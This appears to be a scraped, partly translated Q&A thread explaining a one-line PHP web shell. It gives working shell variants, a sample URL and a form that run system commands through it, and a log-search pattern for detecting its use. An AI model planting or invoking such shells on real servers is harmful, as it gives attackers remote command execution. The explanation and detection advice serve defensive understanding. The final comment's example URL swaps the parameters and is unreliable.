<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>
能否有人给一些提示,说明这行代码是做什么的?谢谢。
<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>
能否有人给一些提示,说明这行代码是做什么的?谢谢。
这是一个PHP shell。如果你将它改写成<?php ($_=@$_GET[2]).@$_($_GET[1]); ?>
,那么URL file.php?2=shell_exec&1=whoami
将在shell上执行命令whoami
。在您的示例中,一个参数通过POST传递,另一个参数通过GET传递,因此有点难以调用。
您还可以使用它来调用其他函数。第一个参数始终是函数名称,第二个是调用函数的参数。
显然在http://h.ackack.net/tiny-php-shell.html(https://twitter.com/dragosr/status/116759108526415872)上有解释,但对我而言该网站无法加载。
/编辑:如果您可以访问服务器日志文件,则可以搜索这些文件以查看黑客是否使用了此shell。在shell上简单输入 egrep "(&|\?)2=.+" logs*
就可以工作。您只能看到已执行命令的一半(只有GET,没有POST),但也许这有助于确定攻击者是否实际上使用了他的脚本。
正如Reeno在评论中所说,它就像一个PHP shell。
Store the GET variable with the key '2' in a variable called $_
. Due to PHP's nature of weak typing, we do not need quotes around the number.
$_=@$_GET[2]
Treat $_
as a callable function name and execute it with $_POST[1]
as the first argument.
@$_($_POST[1])
@
运算符可以禁止错误日志记录,请参见PHP.net:错误控制运算符。$_=@$_GET[2];
@$_($_POST[1]);
调用任意函数。我不会提及成功攻击所需的具体HTTP头,但这对于每个(Web)程序员来说应该是相当容易的。
此代码用于调用PHP函数。举个例子,黑客会使用这种形式:
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
<?= @$_GET['c'](@$_GET['p']); ?>
<?=($_=@$_GET[2]).@$_($_GET[1])?>
,则 URLfile.php?1=shell_exec&2=whoami
将在 shell 中执行whoami
命令。在你的例子中,一个参数通过 POST 传递,一个参数通过 GET 传递。 - Reeno